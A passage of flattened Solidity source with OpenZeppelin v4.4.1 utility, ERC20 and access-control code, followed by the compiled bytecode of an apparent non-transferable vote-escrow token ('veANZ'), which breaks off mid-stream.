Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens, * given ``owner``'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControlEnumerable.sol) pragma solidity ^0.8.0; import "./IAccessControl.sol"; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerable is IAccessControl { /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) external view returns (address); /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/AccessControlEnumerable.sol) pragma solidity ^0.8.0; import "./IAccessControlEnumerable.sol"; import "./AccessControl.sol"; import "../utils/structs/EnumerableSet.sol"; /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl { using EnumerableSet for EnumerableSet.AddressSet; mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {_grantRole} to track enumerable memberships */ function _grantRole(bytes32 role, address account) internal virtual override { super._grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {_revokeRole} to track enumerable memberships */ function _revokeRole(bytes32 role, address account) internal virtual override { super._revokeRole(role, account); _roleMembers[role].remove(account); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } }
0x608060405234801561001057600080fd5b50600436106102325760003560e01c80637ecebe0011610130578063a457c2d7116100b8578063d505accf1161007c578063d505accf14610507578063d53913931461051a578063d547741f14610541578063dd62ed3e14610554578063f1127ed81461058d57600080fd5b8063a457c2d7146104a8578063a9059cbb146104bb578063b8cef979146104ce578063c3cda520146104e1578063ca15c873146104f457600080fd5b806391d14854116100ff57806391d148541461045f57806395d89b41146104725780639ab24eb01461047a5780639dc29fac1461048d578063a217fddf146104a057600080fd5b80637ecebe00146104135780638dbb1e3a146104265780638e539e8c146104395780639010d07c1461044c57600080fd5b80633644e515116101be578063587cde1e11610182578063587cde1e1461036e5780635c19a95c146103b25780636fcfff45146103c557806370a08231146103ed57806370aad0eb1461040057600080fd5b80633644e5151461031a57806336568abe1461032257806339509351146103355780633a46b1a81461034857806340c10f191461035b57600080fd5b806323b872dd1161020557806323b872dd14610299578063248a9ca3146102ac578063282c51f3146102cf5780632f2ff15d146102f6578063313ce5671461030b57600080fd5b806301ffc9a71461023757806306fdde031461025f578063095ea7b31461027457806318160ddd14610287575b600080fd5b61024a61024536600461290f565b6105ca565b60405190151581526020015b60405180910390f35b6102676105f5565b60405161025691906129c7565b61024a610282366004612707565b610687565b6004545b604051908152602001610256565b61024a6102a7366004612661565b61069d565b61028b6102ba3660046128b1565b60009081526020819052604090206001015490565b61028b7f3c11d16cbaffd01df69ce1c404f6340ee057498f5f00246190ea54220576a84881565b6103096103043660046128ca565b61074c565b005b60405160128152602001610256565b61028b610777565b6103096103303660046128ca565b610786565b61024a610343366004612707565b610804565b61028b610356366004612707565b610840565b610309610369366004612707565b6108ba565b61039a61037c366004612613565b6001600160a01b039081166000908152600860205260409020541690565b6040516001600160a01b039091168152602001610256565b6103096103c0366004612613565b61090b565b6103d86103d3366004612613565b610918565b60405163ffffffff9091168152602001610256565b61028b6103fb366004612613565b61093a565b600b5461039a906001600160a01b031681565b61028b610421366004612613565b610ba9565b61028b6104343660046128ed565b610bc7565b61028b6104473660046128b1565b610cfa565b61039a61045a3660046128ed565b610d56565b61024a61046d3660046128ca565b610d6e565b610267610d97565b61028b610488366004612613565b610da6565b61030961049b366004612707565b610e2d565b61028b600081565b61024a6104b6366004612707565b610e7e565b61024a6104c9366004612707565b610f17565b6103096104dc366004612613565b610f24565b6103096104ef366004612731565b610f6f565b61028b6105023660046128b1565b6110a5565b61030961051536600461269d565b6110bc565b61028b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b61030961054f3660046128ca565b611220565b61028b61056236600461262e565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6105a061059b366004612789565b611246565b60408051825163ffffffff1681526020928301516001600160e01b03169281019290925201610256565b60006001600160e01b03198216635a05180f60e01b14806105ef57506105ef82611363565b92915050565b60606005805461060490612b7b565b80601f016020809104026020016040519081016040528092919081815260200182805461063090612b7b565b801561067d5780601f106106525761010080835404028352916020019161067d565b820191906000526020600020905b81548152906001019060200180831161066057829003601f168201915b5050505050905090565b6000610694338484611398565b50600192915050565b60006106aa8484846114bc565b6001600160a01b0384166000908152600360209081526040808320338452909152902054828110156107345760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6107418533858403611398565b506001949350505050565b6000828152602081905260409020600101546107688133611504565b6107728383611568565b505050565b600061078161158a565b905090565b6001600160a01b03811633146107f65760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b606482015260840161072b565b61080082826116b1565b5050565b3360008181526003602090815260408083206001600160a01b0387168452909152812054909161069491859061083b908690612a9f565b611398565b60004382106108915760405162461bcd60e51b815260206004820152601f60248201527f4552433230566f7465733a20626c6f636b206e6f7420796574206d696e656400604482015260640161072b565b6001600160a01b03831660009081526009602052604090206108b390836116d3565b9392505050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a66108e58133610d6e565b6109015760405162461bcd60e51b815260040161072b906129fa565b6107728383611790565b6109153382611820565b50565b6001600160a01b0381166000908152600960205260408120546105ef906118af565b6001600160a01b03808216600090815260026020526040812054600b5491929091166109665792915050565b600b54604051634026ca1360e11b81526001600160a01b038581166004830152600092169063804d94269060240160006040518083038186803b1580156109ac57600080fd5b505afa1580156109c0573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526109e891908101906127c9565b90506000805b8251811015610b95576000838281518110610a0b57610a0b612c0d565b602090810291909101810151600b54918101516040820151919350670de0b6b3a7640000926001600160a01b03169163adf8252d91610a4991612b0f565b6040516001600160e01b031960e084901b16815267ffffffffffffffff909116600482015260240160206040518083038186803b158015610a8957600080fd5b505afa158015610a9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac19190612939565b8251610acd9190612ad9565b610ad79190612ab7565b610ae19086612af8565b9450670de0b6b3a7640000610b5f82602001518360400151610b039190612b0f565b67ffffffffffffffff16836040015167ffffffffffffffff16421015610b3c5760208401516104349067ffffffffffffffff1642612af8565b83602001518460400151610b509190612b0f565b67ffffffffffffffff16610bc7565b8251610b6b9190612ad9565b610b759190612ab7565b610b7f9084612a9f565b9250508080610b8d90612bb0565b9150506109ee565b50610ba08184612a9f565b95945050505050565b6001600160a01b0381166000908152600760205260408120546105ef565b600b546040805163159e6acd60e21b815290516000926001600160a01b031691635679ab34916004808301926020929190829003018186803b158015610c0c57600080fd5b505afa158015610c20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c449190612939565b610c4e8385612af8565b600b60009054906101000a90046001600160a01b03166001600160a01b031663dd9dd8056040518163ffffffff1660e01b815260040160206040518083038186803b158015610c9c57600080fd5b505afa158015610cb0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd49190612939565b610cde9190612ad9565b610ce89190612ab7565b6108b390670de0b6b3a7640000612a9f565b6000438210610d4b5760405162461bcd60e51b815260206004820152601f60248201527f4552433230566f7465733a20626c6f636b206e6f7420796574206d696e656400604482015260640161072b565b6105ef600a836116d3565b60008281526001602052604081206108b39083611918565b6000918252602082815260408084206001600160a01b0393909316845291905290205460ff1690565b60606006805461060490612b7b565b6001600160a01b0381166000908152600960205260408120548015610e1a576001600160a01b0383166000908152600960205260409020610de8600183612af8565b81548110610df857610df8612c0d565b60009182526020909120015464010000000090046001600160e01b0316610e1d565b60005b6001600160e01b03169392505050565b7f3c11d16cbaffd01df69ce1c404f6340ee057498f5f00246190ea54220576a848610e588133610d6e565b610e745760405162461bcd60e51b815260040161072b906129fa565b6107728383611924565b3360009081526003602090815260408083206001600160a01b038616845290915281205482811015610f005760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161072b565b610f0d3385858403611398565b5060019392505050565b60006106943384846114bc565b6000610f308133610d6e565b610f4c5760405162461bcd60e51b815260040161072b906129fa565b50600b80546001600160a01b0319166001600160a01b0392909216919091179055565b83421115610fbf5760405162461bcd60e51b815260206004820152601d60248201527f4552433230566f7465733a207369676e61747572652065787069726564000000604482015260640161072b565b604080517fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60208201526001600160a01b038816918101919091526060810186905260808101859052600090611039906110319060a0016040516020818303038152906040528051906020012061193c565b85858561198a565b9050611044816119b2565b86146110925760405162461bcd60e51b815260206004820152601960248201527f4552433230566f7465733a20696e76616c6964206e6f6e636500000000000000604482015260640161072b565b61109c8188611820565b50505050505050565b60008181526001602052604081206105ef906119da565b8342111561110c5760405162461bcd60e51b815260206004820152601d60248201527f45524332305065726d69743a206578706972656420646561646c696e65000000604482015260640161072b565b60007f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c988888861113b8c6119b2565b6040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810186905260e00160405160208183030381529060405280519060200120905060006111968261193c565b905060006111a68287878761198a565b9050896001600160a01b0316816001600160a01b0316146112095760405162461bcd60e51b815260206004820152601e60248201527f45524332305065726d69743a20696e76616c6964207369676e61747572650000604482015260640161072b565b6112148a8a8a611398565b50505050505050505050565b60008281526020819052604090206001015461123c8133611504565b61077283836116b1565b60408051808201909152600080825260208201526001600160a01b0383166000908152600960205260409020805463ffffffff841690811061128a5761128a612c0d565b60009182526020918290206040805180820190915291015463ffffffff8116825264010000000090046001600160e01b0316918101919091529392505050565b6112d48282610d6e565b610800576000828152602081815260408083206001600160a01b03851684529091529020805460ff1916600117905561130a3390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b60006108b3836001600160a01b0384166119e4565b60006001600160e01b03198216637965db0b60e01b14806105ef57506301ffc9a760e01b6001600160e01b03198316146105ef565b6001600160a01b0383166113fa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161072b565b6001600160a01b03821661145b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161072b565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60405162461bcd60e51b815260206004820152601960248201527f7665414e5a206973206e6f6e2d7472616e7366657261626c6500000000000000604482015260640161072b565b61150e8282610d6e565b61080057611526816001600160a01b03166014611a33565b611531836020611a33565b604051602001611542929190612952565b60408051601f198184030181529082905262461bcd60e51b825261072b916004016129c7565b61157282826112ca565b6000828152600160205260409020610772908261134e565b6000306001600160a01b037f000000000000000000000000f3735b2c43a14ce518816184157d69f52eb169b5161480156115e357507f000000000000000000000000000000000000000000000000000000000000000146145b1561160d57507f1bf19aa85f66bc84dcb6c5019d849d406c74e4923fe2cf6c614b52442c8d8a2290565b50604080517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6020808301919091527f605773f2ffef63e2c45d4f1adbf7756e00dcd11521e39fe49ea963c76dd25548828401527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608301524660808301523060a0808401919091528351808403909101815260c0909201909252805191012090565b6116bb8282611bcf565b60008281526001602052604090206107729082611c34565b8154600090815b818110156117375760006116ee8284611c49565b90508486828154811061170357611703612c0d565b60009182526020909120015463ffffffff16111561172357809250611731565b61172e816001612a9f565b91505b506116da565b811561177b5784611749600184612af8565b8154811061175957611759612c0d565b60009182526020909120015464010000000090046001600160e01b031661177e565b60005b6001600160e01b031695945050505050565b61179a8282611c64565b6004546001600160e01b03101561180c5760405162461bcd60e51b815260206004820152603060248201527f4552433230566f7465733a20746f74616c20737570706c79207269736b73206f60448201526f766572666c6f77696e6720766f74657360801b606482015260840161072b565b61181a600a611d4b83611d57565b50505050565b6001600160a01b03828116600090815260086020526040812054909116906118478461093a565b6001600160a01b0385811660008181526008602052604080822080546001600160a01b031916898616908117909155905194955093928616927f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a461181a828483611ed0565b600063ffffffff8211156119145760405162461bcd60e51b815260206004820152602660248201527f53616665436173743a2076616c756520646f65736e27742066697420696e203360448201526532206269747360d01b606482015260840161072b565b5090565b60006108b3838361200d565b61192e8282612037565b61181a600a61218c83611d57565b60006105ef61194961158a565b8360405161190160f01b6020820152602281018390526042810182905260009060620160405160208183030381529060405280519060200120905092915050565b600080600061199b87878787612198565b915091506119a881612285565b5095945050505050565b6001600160a01b03811660009081526007602052604090208054600181018255905b50919050565b60006105ef825490565b6000818152600183016020526040812054611a2b575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556105ef565b5060006105ef565b60606000611a42836002612ad9565b611a4d906002612a9f565b67ffffffffffffffff811115611a6557611a65612c23565b6040519080825280601f01601f191660200182016040528015611a8f576020820181803683370190505b509050600360fc1b81600081518110611aaa57611aaa612c0d565b60200101906001600160f81b031916908160001a905350600f60fb1b81600181518110611ad957611ad9612c0d565b60200101906001600160f81b031916908160001a9053506000611afd846002612ad9565b611b08906001612a9f565b90505b6001811115611b80576f181899199a1a9b1b9c1cb0b131b232b360811b85600f1660108110611b3c57611b3c612c0d565b1a60f81b828281518110611b5257611b52612c0d565b60200101906001600160f81b031916908160001a90535060049490941c93611b7981612b64565b9050611b0b565b5083156108b35760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e74604482015260640161072b565b611bd98282610d6e565b15610800576000828152602081815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b60006108b3836001600160a01b038416612440565b6000611c586002848418612ab7565b6108b390848416612a9f565b6001600160a01b038216611cba5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640161072b565b8060046000828254611ccc9190612a9f565b90915550506001600160a01b03821660009081526002602052604081208054839290611cf9908490612a9f565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a361080060008383612533565b60006108b38284612a9f565b825460009081908015611da25785611d70600183612af8565b81548110611d8057611d80612c0d565b60009182526020909120015464010000000090046001600160e01b0316611da5565b60005b6001600160e01b03169250611dbe83858763ffffffff16565b91506